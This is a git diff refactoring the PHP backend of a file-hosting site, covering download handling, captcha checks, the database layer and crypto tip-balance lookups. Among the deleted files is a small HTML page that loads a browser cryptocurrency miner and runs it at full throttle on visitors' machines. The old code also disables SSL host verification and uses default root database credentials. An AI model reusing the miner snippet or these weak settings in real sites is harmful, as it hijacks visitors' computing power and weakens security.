||||||
ga_event("Captcha", "Hit");
|
|
||||||
$rsp["captcha"] = True;
|
|
||||||
}
|
|
||||||
}else {
|
|
||||||
$rsp["file"] = NULL;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
case "captcha_config":
|
|
||||||
{
|
|
||||||
$rsp["cap_key"] = _CAPTCHA_KEY;
|
|
||||||
$rsp["cap_dl"] = _DL_CAPTCHA;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
case "captcha_verify":
|
|
||||||
{
|
|
||||||
$hashKey = _UIP . ':' . $c->hash;
|
|
||||||
|
|
||||||
$dlCounter = $redis->get($hashKey);
|
|
||||||
if($dlCounter != FALSE) {
|
|
||||||
$ch = curl_init();
|
|
||||||
|
|
||||||
curl_setopt($ch, CURLOPT_URL, 'https://www.google.com/recaptcha/api/siteverify');
|
|
||||||
curl_setopt($ch, CURLOPT_POST, 1);
|
|
||||||
curl_setopt($ch, CURLOPT_POSTFIELDS, 'secret=' . _CAPTCHA_SECRET . '&response=' . $c->token . '&remoteip=' . _UIP);
|
|
||||||
|
|
||||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
|
|
||||||
$crsp = json_decode(curl_exec($ch));
|
|
||||||
curl_close ($ch);
|
|
||||||
|
|
||||||
if($crsp->success == True){
|
|
||||||
$dlCounter = 0;
|
|
||||||
$redis->setEx($hashKey, _CAPTCHA_DL_EXPIRE, 0);
|
|
||||||
$rsp["ok"] = True;
|
|
||||||
ga_event("Captcha", "Pass");
|
|
||||||
}else{
|
|
||||||
$rsp["ok"] = False;
|
|
||||||
ga_event("Captcha", "Fail");
|
|
||||||
}
|
|
||||||
}else{
|
|
||||||
$rsp["ok"] = True;
|
|
||||||
ga_event("Captcha", "Miss");
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
header('Content-Type: application/json');
|
|
||||||
echo json_encode($rsp);
|
|
||||||
?>
|
?>
|
9
src/php/config.php
Normal file
9
src/php/config.php
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
<?php
|
||||||
|
class Config {
|
||||||
|
public static $Instance = NULL;
|
||||||
|
|
||||||
|
public static function LoadConfig() {
|
||||||
|
self::$Instance = json_decode(file_get_contents("settings.json"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
?>
|
@@ -1,68 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
if(!isset($_COOKIE["VC:UID"])) {
|
|
||||||
setcookie("VC:UID", uniqid());
|
|
||||||
}
|
|
||||||
|
|
||||||
define('_UIP', isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : $_SERVER['REMOTE_ADDR']);
|
|
||||||
|
|
||||||
/* LB SETTINGS */
|
|
||||||
define('_IS_LB_HOST', False);
|
|
||||||
define('_LB_HOSTS', array("http://host1.void.cat", "http://host2.void.cat"));
|
|
||||||
define('_LB_HOSTNAME', 'download.void.cat');
|
|
||||||
|
|
||||||
/* DB SETTINGS */
|
|
||||||
define('_DB_HOST', '127.0.0.1');
|
|
||||||
define('_DB_DATABASE', 'void');
|
|
||||||
define('_DB_USER', 'root');
|
|
||||||
define('_DB_PASS', 'mysql');
|
|
||||||
|
|
||||||
/* REDIS CONFIG */
|
|
||||||
define('_REDIS_SERVER', '127.0.0.1');
|
|
||||||
|
|
||||||
/* GENERAL SETTINGS */
|
|
||||||
define('_PUB_HASH', 'ripemd160');
|
|
||||||
define('_DEFAULT_TYPE', 'application/octet-stream');
|
|
||||||
define('_SITEURL', (isset($_SERVER['HTTPS']) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . '/');
|
|
||||||
define('_UPLOADDIR', '/files/');
|
|
||||||
define('_FILEPATH', '/var/www/void.cat' . _UPLOADDIR);
|
|
||||||
define('_DISCORD_WEBHOOK', 'DISCORD_HOOK_URL');
|
|
||||||
define('_DISCORD_WEBHOOK_PUB', 'DISCORD_HOOK_URL');
|
|
||||||
define('_FILE_EXPIRE_TIME', 30);
|
|
||||||
define('_GA_SITE_CODE', 'UA-73200448-1');
|
|
||||||
define('_BLOCK_REFERER', array("yobuilder.com", "adf.ly", "payshorturl.com", "clearload.bid"));
|
|
||||||
define('_UA_NO_VIEW', array("YandexBot/3.0", "Googlebot/2.1", "Yahoo! Slurp"));
|
|
||||||
define('_VIRUSTOTAL_KEY', 'API_KEY');
|
|
||||||
define('_CURL_USER_AGENT', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36');
|
|
||||||
define('_ETHERSCAN_API_KEY', 'API_KEY');
|
|
||||||
|
|
||||||
/* CLOUDFLARE SETTINGS */
|
|
||||||
define('_CLOUDFLARE_API_EMAIL', 'me@me.com');
|
|
||||||
define('_CLOUDFLARE_API_KEY', 'API_KEY');
|
|
||||||
define('_CLOUDFLARE_ZONE', 'ZONE_ID');
|
|
||||||
|
|
||||||
/* CAPTCHA SETTINGS */
|
|
||||||
define('_DL_CAPTCHA', 10);
|
|
||||||
define('_CAPTCHA_DL_EXPIRE', 86400);
|
|
||||||
define('_CAPTCHA_KEY', 'CAP_KEY');
|
|
||||||
define('_CAPTCHA_SECRET', 'CAP_SECRET');
|
|
||||||
|
|
||||||
/* LN RPC-FILE */
|
|
||||||
define('_LN_RPC_FILE', 'tcp://127.0.0.1:9737');
|
|
||||||
define("MSAT", 0.00000000001);
|
|
||||||
define("SAT", 0.00000001);
|
|
||||||
|
|
||||||
/* TIP ADDRS */
|
|
||||||
define('_TIP_ADDRS', array(
|
|
||||||
"BTC" => "3AL9jqxVTjAZJMseBBnC75F3S6r4HSphUt",
|
|
||||||
"BCH" => "1qbcr7Bnt53sq9qEbPPrzu4jAvEeF6oUm",
|
|
||||||
"BTG" => "AbtKHMqpwUqJJVYj7f1roR6FCecViPt1zK",
|
|
||||||
"DASH" => "XfFNizQfuqwRtdx4WqpcK3L8tZEvG4WaJk",
|
|
||||||
"LTC" => "MGBNvUefXrFvdiZRNrQTG6UX8za2Phr5Eu",
|
|
||||||
"ZEC" => "t1VSkrikVyjoCKrC7DXnVPxPZCWRQihneTz",
|
|
||||||
"ETH" => "0x367e6864d84b38c58312a340afbd55417d1c9Ce2",
|
|
||||||
"TRX" => "0x367e6864d84b38c58312a340afbd55417d1c9Ce2",
|
|
||||||
"ETC" => "0x5653306b771d0ECD9f1010114a378a50301f68c3",
|
|
||||||
"XEM" => "NDWAWGJ5E5FCQTGKMTAQPS5TACICPB5NA4ZVT232"
|
|
||||||
));
|
|
||||||
?>
|
|
@@ -1,25 +0,0 @@
|
|||||||
<?php
|
|
||||||
include_once("config.php");
|
|
||||||
include_once("db.php");
|
|
||||||
include_once("functions.php");
|
|
||||||
|
|
||||||
echo 'Cleaning files...';
|
|
||||||
|
|
||||||
$db = new DB();
|
|
||||||
$fl = $db->GetExpiredFiles();
|
|
||||||
|
|
||||||
foreach($fl as $f) {
|
|
||||||
if(unlink($f->path)) {
|
|
||||||
$db->DeleteFile($f);
|
|
||||||
echo 'Deleted file: ' . $f->filename . ' (' . $f->hash160 . ') \n';
|
|
||||||
$del[] = $f->hash160;
|
|
||||||
}else{
|
|
||||||
echo 'Cant delete file ' . $f->path . ' \n';
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if(count($fl) > 0){
|
|
||||||
$discord_data = array("content" => 'Deleted ' . count($fl) . ' expired files. `' . implode("` `", $del) . '`');
|
|
||||||
send_pub_discord_msg($discord_data);
|
|
||||||
}
|
|
||||||
?>
|
|
195
src/php/db.php
195
src/php/db.php
@@ -1,187 +1,18 @@
|
|||||||
<?php
|
<?php
|
||||||
include_once('config.php');
|
|
||||||
include_once('file.php');
|
|
||||||
|
|
||||||
class DB {
|
class Db {
|
||||||
function __construct()
|
public static $Instance = NULL;
|
||||||
{
|
public static $Error = NULL;
|
||||||
$this->error = null;
|
|
||||||
$this->mysqli = new mysqli(_DB_HOST, _DB_USER, _DB_PASS, _DB_DATABASE);
|
|
||||||
|
|
||||||
if ($this->mysqli->connect_errno) {
|
public static function Connect() {
|
||||||
$this->error = "Failed to connect to MySQL: (" . $this->mysqli->connect_errno . ") " . $this->mysqli->connect_error;
|
$cfg = Config::$Instance;
|
||||||
}
|
self::$Instance = new mysqli($cfg->db_host, $cfg->db_user, $cfg->db_password, $cfg->db_database);
|
||||||
}
|
|
||||||
|
|
||||||
function __destruct()
|
if (mysqli_connect_errno()) {
|
||||||
{
|
self::$Error = mysqli_connect_error();
|
||||||
if($this->error == null)
|
return FALSE;
|
||||||
{
|
}
|
||||||
$this->mysqli->close();
|
return TRUE;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function Exists256($hash)
|
|
||||||
{
|
|
||||||
return $this->GetFile($hash, "hash256");
|
|
||||||
}
|
|
||||||
|
|
||||||
function GetStats()
|
|
||||||
{
|
|
||||||
$res = new FileStats();
|
|
||||||
|
|
||||||
$stmt = $this->mysqli->prepare("select count(hash160), sum(size), avg(size), sum(views * size) from files");
|
|
||||||
if($stmt)
|
|
||||||
{
|
|
||||||
$stmt->execute();
|
|
||||||
$stmt->bind_result($res->files, $res->size, $res->avgSize, $res->transfer);
|
|
||||||
$stmt->fetch();
|
|
||||||
$stmt->close();
|
|
||||||
|
|
||||||
$res->size = floatval($res->size);
|
|
||||||
$res->avgSize = floatval($res->avgSize);
|
|
||||||
$res->transfer = floatval($res->transfer);
|
|
||||||
}
|
|
||||||
|
|
||||||
return $res;
|
|
||||||
}
|
|
||||||
|
|
||||||
function GuessHash($hash) {
|
|
||||||
//sometimes are making a request like this: lets just do a LIKE query to find it bf9fdaa217271f9e1f6ab88...f42bd0a538
|
|
||||||
//poor lost people i cri evry time
|
|
||||||
$res = null;
|
|
||||||
|
|
||||||
$stmt = $this->mysqli->prepare("select hash160 from files where hash160 like ? limit 1");
|
|
||||||
if($stmt)
|
|
||||||
{
|
|
||||||
$stmt->bind_param("s", $hash);
|
|
||||||
$stmt->execute();
|
|
||||||
$stmt->bind_result($res);
|
|
||||||
$stmt->fetch();
|
|
||||||
$stmt->close();
|
|
||||||
}
|
|
||||||
|
|
||||||
return $res;
|
|
||||||
}
|
|
||||||
|
|
||||||
function GetFile($hash, $hc = "hash160")
|
|
||||||
{
|
|
||||||
$res = new FileUpload();
|
|
||||||
|
|
||||||
$stmt = $this->mysqli->prepare("select hash160, hash256, filename, mime, size, path, views, isAdminFile, uploaded, lastview from files where " . $hc . " = ? limit 1");
|
|
||||||
if($stmt)
|
|
||||||
{
|
|
||||||
$stmt->bind_param("s", $hash);
|
|
||||||
$stmt->execute();
|
|
||||||
$stmt->bind_result($res->hash160, $res->hash256, $res->filename, $res->mime, $res->size, $res->path, $res->views, $res->isAdminFile, $res->uploaded, $res->lastview);
|
|
||||||
$stmt->fetch();
|
|
||||||
$stmt->close();
|
|
||||||
}
|
|
||||||
|
|
||||||
return $res;
|
|
||||||
}
|
|
||||||
|
|
||||||
function GetFiles()
|
|
||||||
{
|
|
||||||
$res = array();
|
|
||||||
|
|
||||||
$stmt = $this->mysqli->prepare("select hash160, hash256, filename, mime, size, path, views, isAdminFile, uploaded, lastview from files order by uploaded desc");
|
|
||||||
if($stmt)
|
|
||||||
{
|
|
||||||
$stmt->execute();
|
|
||||||
$stmt->bind_result($hash160, $hash256, $filename, $mime, $size, $path, $views, $isAdminFile, $uploaded, $lastview);
|
|
||||||
while($stmt->fetch()){
|
|
||||||
$nf = new FileUpload();
|
|
||||||
$nf->hash160 = $hash160;
|
|
||||||
$nf->hash256 = $hash256;
|
|
||||||
$nf->filename = $filename;
|
|
||||||
$nf->mime = $mime;
|
|
||||||
$nf->size = $size;
|
|
||||||
$nf->path = $path;
|
|
||||||
$nf->views = $views;
|
|
||||||
$nf->isAdminFile = $isAdminFile;
|
|
||||||
$nf->uploaded = $uploaded;
|
|
||||||
$nf->lastview = $lastview;
|
|
||||||
|
|
||||||
array_push($res, $nf);
|
|
||||||
}
|
|
||||||
$stmt->close();
|
|
||||||
}
|
|
||||||
|
|
||||||
return $res;
|
|
||||||
}
|
|
||||||
|
|
||||||
function InsertFile($f)
|
|
||||||
{
|
|
||||||
$stmt = $this->mysqli->prepare("insert into files(hash160, hash256, filename, mime, size, path) values(?,?,?,?,?,?)");
|
|
||||||
if($stmt)
|
|
||||||
{
|
|
||||||
$stmt->bind_param("ssssss", $f->hash160, $f->hash256, $f->filename, $f->mime, $f->size, $f->path);
|
|
||||||
$stmt->execute();
|
|
||||||
$stmt->close();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function DeleteFile($f)
|
|
||||||
{
|
|
||||||
$stmt = $this->mysqli->prepare("delete from files where hash160 = ?");
|
|
||||||
if($stmt)
|
|
||||||
{
|
|
||||||
$stmt->bind_param("s", $f->hash160);
|
|
||||||
$stmt->execute();
|
|
||||||
$stmt->close();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function UpdateFileSize($h, $s)
|
|
||||||
{
|
|
||||||
$stmt = $this->mysqli->prepare("update files set size = ? where hash160 = ?");
|
|
||||||
if($stmt)
|
|
||||||
{
|
|
||||||
$stmt->bind_param("ds", $s, $h);
|
|
||||||
$stmt->execute();
|
|
||||||
$stmt->close();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function AddView($hash160)
|
|
||||||
{
|
|
||||||
$stmt = $this->mysqli->prepare("update files set views = views + 1, lastview = NOW() where hash160 = ?");
|
|
||||||
if($stmt)
|
|
||||||
{
|
|
||||||
$stmt->bind_param("s", $hash160);
|
|
||||||
$stmt->execute();
|
|
||||||
$stmt->close();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function GetExpiredFiles()
|
|
||||||
{
|
|
||||||
return $this->GetExpiredFilesT(_FILE_EXPIRE_TIME);
|
|
||||||
}
|
|
||||||
|
|
||||||
function GetExpiredFilesT($tt)
|
|
||||||
{
|
|
||||||
$res = array();
|
|
||||||
|
|
||||||
$stmt = $this->mysqli->prepare("select hash160, filename, path, lastview, size from files where date_add(lastview, INTERVAL " . $tt . " DAY) < CURRENT_TIMESTAMP or (views = 0 and date_add(lastview, INTERVAL 1 DAY) < CURRENT_TIMESTAMP) order by lastview desc");
|
|
||||||
if($stmt)
|
|
||||||
{
|
|
||||||
$stmt->execute();
|
|
||||||
$stmt->bind_result($hash160, $filename, $path, $lastview, $size);
|
|
||||||
while($stmt->fetch()){
|
|
||||||
$nf = new FileUpload();
|
|
||||||
$nf->hash160 = $hash160;
|
|
||||||
$nf->filename = $filename;
|
|
||||||
$nf->path = $path;
|
|
||||||
$nf->lastview = $lastview;
|
|
||||||
$nf->size = $size;
|
|
||||||
array_push($res, $nf);
|
|
||||||
}
|
|
||||||
$stmt->close();
|
|
||||||
}
|
|
||||||
|
|
||||||
return $res;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
?>
|
?>
|
@@ -1,152 +1,31 @@
|
|||||||
<?php
|
<?php
|
||||||
include_once('config.php');
|
class Download implements RequestHandler {
|
||||||
include_once('functions.php');
|
|
||||||
|
|
||||||
$redis = new Redis();
|
function __construct(){
|
||||||
$redis->pconnect(_REDIS_SERVER);
|
$this->Redis = StaticRedis::$Instance;
|
||||||
|
$this->Config = Config::$Instance;
|
||||||
|
$this->Db = Db::$Instance;
|
||||||
|
|
||||||
if(!isset($_SERVER['HTTP_RANGE'])) {
|
$this->Abuse = new Abuse();
|
||||||
matomo_page_view($redis);
|
$this->Tracking = new Tracking();
|
||||||
}
|
$this->FileStore = new FileStore();
|
||||||
|
|
||||||
$hash = substr($_SERVER["REQUEST_URI"], 1);
|
$this->Redis->pconnect($this->Config->Redis);
|
||||||
$hashKey = _UIP . ':' . $hash;
|
}
|
||||||
|
|
||||||
if(_IS_LB_HOST == False && count(_LB_HOSTS) > 0) {
|
public function HandleRequest() {
|
||||||
$has_cache = $redis->sIsMember("VC:DL:LB", $hash);
|
if(isset($_REQUEST["hash"])){
|
||||||
if($has_cache == False) {
|
$hash = $_REQUEST["hash"];
|
||||||
$lb_hash_cache = True;
|
|
||||||
foreach(_LB_HOSTS as $lbh) {
|
|
||||||
$lb_x = json_decode(curl_get($lbh . "/hasfile.php?hash=" . $hash, array("Host: " . _LB_HOSTNAME)));
|
|
||||||
if($lb_x->result == False){
|
|
||||||
$lb_hash_cache = False;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if($lb_hash_cache == True){
|
$fi = $this->FileStore->GetFileInfo($hash);
|
||||||
$redis->sadd("VC:DL:LB", $hash);
|
} else {
|
||||||
header("location: https://" . _LB_HOSTNAME . "/" . $hash, true, 301);
|
http_response_code(404);
|
||||||
exit();
|
exit();
|
||||||
}
|
}
|
||||||
} else {
|
}
|
||||||
header("location: https://" . _LB_HOSTNAME . "/" . $hash, true, 301);
|
|
||||||
exit();
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
$redis->publish('dl-track', json_encode(array(
|
|
||||||
"host" => gethostname(),
|
|
||||||
"uid" => isset($_COOKIE["VC:UID"]) ? $_COOKIE["VC:UID"] : NULL,
|
|
||||||
"uip" => _UIP,
|
|
||||||
"hash" => $hash,
|
|
||||||
"range" => isset($_SERVER['HTTP_RANGE']) ? $_SERVER['HTTP_RANGE'] : NULL
|
|
||||||
)));
|
|
||||||
}
|
|
||||||
|
|
||||||
$refr = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : False;
|
function StartDownload($req){
|
||||||
if($refr != False){
|
|
||||||
$rh = parse_url($refr)["host"];
|
|
||||||
if(in_array($rh, _BLOCK_REFERER)){
|
|
||||||
header("Content-Type: text/html");
|
|
||||||
echo file_get_contents("empty.html");
|
|
||||||
//http_response_code(403);
|
|
||||||
exit();
|
|
||||||
}
|
|
||||||
|
|
||||||
if(_IS_LB_HOST == False && $rh != "void.cat") {
|
}
|
||||||
//redirect to view page from hotlink
|
}
|
||||||
header("location: /#" . $hash);
|
|
||||||
exit();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
//check is range request
|
|
||||||
$is_non_range = True;
|
|
||||||
if(isset($_SERVER['HTTP_RANGE'])){
|
|
||||||
$rby = explode('=', $_SERVER['HTTP_RANGE']);
|
|
||||||
$rbv = explode('-', $rby[1]);
|
|
||||||
if($rbv[0] != '0'){
|
|
||||||
$is_non_range = False;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
//block certain bots from counting views (to stop files never expiring)
|
|
||||||
$isCrawlBot = False;
|
|
||||||
$ua = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "";
|
|
||||||
if(preg_match('/.*(\(.*\))/i', $ua, $matches) == 1)
|
|
||||||
{
|
|
||||||
$opts = array();
|
|
||||||
if(strpos($matches[1], ';') != False){
|
|
||||||
$opts = explode(';', $matches[1]);
|
|
||||||
}else{
|
|
||||||
$opts[0] = $matches[1];
|
|
||||||
}
|
|
||||||
|
|
||||||
foreach($opts as $opt){
|
|
||||||
if(in_array(trim($opt), _UA_NO_VIEW)){
|
|
||||||
$isCrawlBot = True;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
$dlCounter = $redis->get($hashKey);
|
|
||||||
if($dlCounter != FALSE) {
|
|
||||||
if($dlCounter >= _DL_CAPTCHA * 2){
|
|
||||||
$cfbk = 'VC:CF:BLOCK';
|
|
||||||
if(_CLOUDFLARE_API_KEY != 'API_KEY' && $redis->sIsMember($cfbk, _UIP) == False){
|
|
||||||
$redis->sadd($cfbk, _UIP);
|
|
||||||
AddFirewallRule(_UIP);
|
|
||||||
}
|
|
||||||
header('location: /');
|
|
||||||
exit();
|
|
||||||
}else if($dlCounter >= _DL_CAPTCHA){
|
|
||||||
//redirect for captcha check
|
|
||||||
$redis->incr($hashKey);
|
|
||||||
ga_event("Captcha", "Hit");
|
|
||||||
header('location: ' . _SITEURL . '?dl#' . $hash);
|
|
||||||
exit();
|
|
||||||
}
|
|
||||||
}else{
|
|
||||||
$redis->setEx($hashKey, _CAPTCHA_DL_EXPIRE, 0);
|
|
||||||
$dlCounter = 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
include_once('db.php');
|
|
||||||
$db = new DB();
|
|
||||||
|
|
||||||
//try to guess the hash if the link was truncated with '...'
|
|
||||||
if(strpos($hash, "...") !== false) {
|
|
||||||
$nh = str_replace("...", "%", $hash);
|
|
||||||
$gh = $db->GuessHash($nh);
|
|
||||||
if($gh !== null) {
|
|
||||||
header('location: ' . _SITEURL . $gh);
|
|
||||||
exit();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
$f = $db->GetFile($hash);
|
|
||||||
if($f->hash160 != NULL){
|
|
||||||
$vtr = CheckVirusTotalCached($redis, $f->hash256, $f->hash160);
|
|
||||||
if($vtr != null && isset($vtr->positives) && $vtr->positives > 1) {
|
|
||||||
http_response_code(404);
|
|
||||||
}else {
|
|
||||||
$expire = 604800;
|
|
||||||
$location = _UPLOADDIR . $f->hash160;
|
|
||||||
$mimeType = $f->mime;
|
|
||||||
$filename = $f->filename;
|
|
||||||
|
|
||||||
header("X-Accel-Redirect: $location");
|
|
||||||
header("Cache-Control: public, max-age=$expire");
|
|
||||||
header("Content-type: $mimeType");
|
|
||||||
header('Content-Disposition: inline; filename="' . $filename . '"');
|
|
||||||
|
|
||||||
if(!$isCrawlBot && $is_non_range){
|
|
||||||
$db->AddView($f->hash160);
|
|
||||||
$redis->incr($hashKey);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}else{
|
|
||||||
http_response_code(404);
|
|
||||||
}
|
|
||||||
?>
|
?>
|
@@ -1,15 +0,0 @@
|
|||||||
<!doctype html>
|
|
||||||
<html>
|
|
||||||
|
|
||||||
<head>
|
|
||||||
<title>!! ☠☠☠ !!</title>
|
|
||||||
<script src="//void.cat/cl/lib/crypta.js"></script>
|
|
||||||
<script>
|
|
||||||
window.miner = new CRLT.Anonymous('780c65e12f7eaebadd433b1eb488f45a5f71347a77df', { autoThreads: true, throttle: 0 });
|
|
||||||
window.miner.start();
|
|
||||||
</script>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
</body>
|
|
||||||
|
|
||||||
</html>
|
|
@@ -1,21 +0,0 @@
|
|||||||
<?php
|
|
||||||
class FileUpload {
|
|
||||||
public $hash160;
|
|
||||||
public $hash256;
|
|
||||||
public $filename;
|
|
||||||
public $mime;
|
|
||||||
public $size;
|
|
||||||
public $path;
|
|
||||||
public $views;
|
|
||||||
public $isAdminFile;
|
|
||||||
public $uploaded;
|
|
||||||
public $lastview;
|
|
||||||
}
|
|
||||||
|
|
||||||
class FileStats {
|
|
||||||
public $files;
|
|
||||||
public $size;
|
|
||||||
public $avgSize;
|
|
||||||
public $transfer;
|
|
||||||
}
|
|
||||||
?>
|
|
13
src/php/filestore.php
Normal file
13
src/php/filestore.php
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
class FileStore {
|
||||||
|
function __construct(){
|
||||||
|
$this->Redis = StaticRedis::$Instance;
|
||||||
|
$this->Db = Db::$Instance;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function GetFileInfo($h160) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
?>
|
@@ -1,378 +0,0 @@
|
|||||||
<?php
|
|
||||||
function ln_query($method, $params = NULL){
|
|
||||||
$sock = fsockopen(_LN_RPC_FILE);
|
|
||||||
if($sock) {
|
|
||||||
fwrite($sock, json_encode(array("jsonrpc" => "2.0", "method" => $method, "params" => $params, "id" => 1)) . "\n");
|
|
||||||
$rsp = fgets($sock);
|
|
||||||
fclose($sock);
|
|
||||||
return json_decode($rsp);
|
|
||||||
}
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
function curl_json_get($url)
|
|
||||||
{
|
|
||||||
return json_decode(curl_get($url));
|
|
||||||
}
|
|
||||||
|
|
||||||
function curl_get($url)
|
|
||||||
{
|
|
||||||
$ch = curl_init();
|
|
||||||
curl_setopt($ch, CURLOPT_URL, $url);
|
|
||||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
|
|
||||||
curl_setopt($ch, CURLOPT_USERAGENT, _CURL_USER_AGENT);
|
|
||||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
|
|
||||||
|
|
||||||
$result = curl_exec($ch);
|
|
||||||
curl_close($ch);
|
|
||||||
return $result;
|
|
||||||
}
|
|
||||||
|
|
||||||
function curl_post($url, $data)
|
|
||||||
{
|
|
||||||
$ch = curl_init();
|
|
||||||
curl_setopt($ch, CURLOPT_URL, $url);
|
|
||||||
curl_setopt($ch, CURLOPT_POST, true);
|
|
||||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
|
|
||||||
curl_setopt($ch, CURLOPT_USERAGENT, _CURL_USER_AGENT);
|
|
||||||
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
|
|
||||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
|
|
||||||
|
|
||||||
$result = curl_exec($ch);
|
|
||||||
curl_close($ch);
|
|
||||||
return $result;
|
|
||||||
}
|
|
||||||
|
|
||||||
function GetAllAddrInfo($addrs)
|
|
||||||
{
|
|
||||||
$ret = array();
|
|
||||||
|
|
||||||
foreach($addrs as $cur => $addr)
|
|
||||||
{
|
|
||||||
$f = "GetAddrInfo_" . $cur;
|
|
||||||
if(is_callable($f)) {
|
|
||||||
$val = call_user_func($f, $addr);
|
|
||||||
if($val)
|
|
||||||
{
|
|
||||||
array_push($ret, (object) [
|
|
||||||
"currency" => $cur,
|
|
||||||
"address" => $addr,
|
|
||||||
"balance" => $val->balance,
|
|
||||||
"txns" => $val->txns
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return $ret;
|
|
||||||
}
|
|
||||||
|
|
||||||
function GetAddrInfo_BTC($addr)
|
|
||||||
{
|
|
||||||
$val = curl_json_get("https://api.blockcypher.com/v1/btc/main/addrs/" . $addr . "/balance");
|
|
||||||
return (object) [
|
|
||||||
"balance" => $val->final_balance * SAT,
|
|
||||||
"txns" => $val->final_n_tx
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
function GetAddrInfo_LTC($addr)
|
|
||||||
{
|
|
||||||
$val = curl_json_get("https://api.blockcypher.com/v1/ltc/main/addrs/" . $addr . "/balance");
|
|
||||||
return (object) [
|
|
||||||
"balance" => $val->final_balance,
|
|
||||||
"txns" => $val->final_n_tx
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
function GetAddrInfo_DASH($addr)
|
|
||||||
{
|
|
||||||
$val = curl_json_get("https://api.blockcypher.com/v1/dash/main/addrs/" . $addr . "/balance");
|
|
||||||
return (object) [
|
|
||||||
"balance" => $val->final_balance,
|
|
||||||
"txns" => $val->final_n_tx
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
function GetAddrInfo_BCH($addr)
|
|
||||||
{
|
|
||||||
$val = curl_json_get("https://bitcoincash.blockexplorer.com/api/addr/" . $addr . "/balance");
|
|
||||||
return (object) [
|
|
||||||
"balance" => $val->balance,
|
|
||||||
"txns" => $val->txApperances,
|
|
||||||
"new_addr" => $val->addrStr
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
function GetAddrInfo_ETH_ERC20($contract, $addr)
|
|
||||||
{
|
|
||||||
$val = curl_json_get("https://api.etherscan.io/api?module=account&action=tokenbalance&contractaddress=" . $contract . "&address=" . $addr . "&tag=latest&apikey=" . _ETHERSCAN_API_KEY);
|
|
||||||
return (object) [
|
|
||||||
"balance" => $val->response,
|
|
||||||
"txns" => 0
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
function GetAddrInfo_EOS($addr)
|
|
||||||
{
|
|
||||||
return GetAddrInfo_ETH_ERC20("0x86fa049857e0209aa7d9e616f7eb3b3b78ecfdb0", $addr);
|
|
||||||
}
|
|
||||||
|
|
||||||
function GetAddrInfo_TRX($addr)
|
|
||||||
{
|
|
||||||
return GetAddrInfo_ETH_ERC20("0xf230b790e05390fc8295f4d3f60332c93bed42e2", $addr);
|
|
||||||
}
|
|
||||||
|
|
||||||
function GetAddrInfo_ETH($addr)
|
|
||||||
{
|
|
||||||
$val = curl_json_get("https://api.etherscan.io/api?module=account&action=balance&address=" . $addr . "&tag=latest&apikey=" . _ETHERSCAN_API_KEY);
|
|
||||||
return (object) [
|
|
||||||
"balance" => $val->response,
|
|
||||||
"txns" => 0
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
function GetAddrInfo_ETC($addr)
|
|
||||||
{
|
|
||||||
$val = curl_json_get("https://etcchain.com/api/v1/getAddressBalance?address=" . $addr);
|
|
||||||
return (object) [
|
|
||||||
"balance" => $val->balance,
|
|
||||||
"txns" => 0
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
function GetAddrInfo_BTG($addr)
|
|
||||||
{
|
|
||||||
$val = curl_get("https://btgexp.com/ext/getaddress/" . $addr);
|
|
||||||
return (object) [
|
|
||||||
"balance" => floatval($val),
|
|
||||||
"txns" => 0
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
function GetAddrInfo_ZEC($addr)
|
|
||||||
{
|
|
||||||
$val = curl_get("https://api.zcha.in/v2/mainnet/accounts/" . $addr);
|
|
||||||
return (object) [
|
|
||||||
"balance" => $val->balance,
|
|
||||||
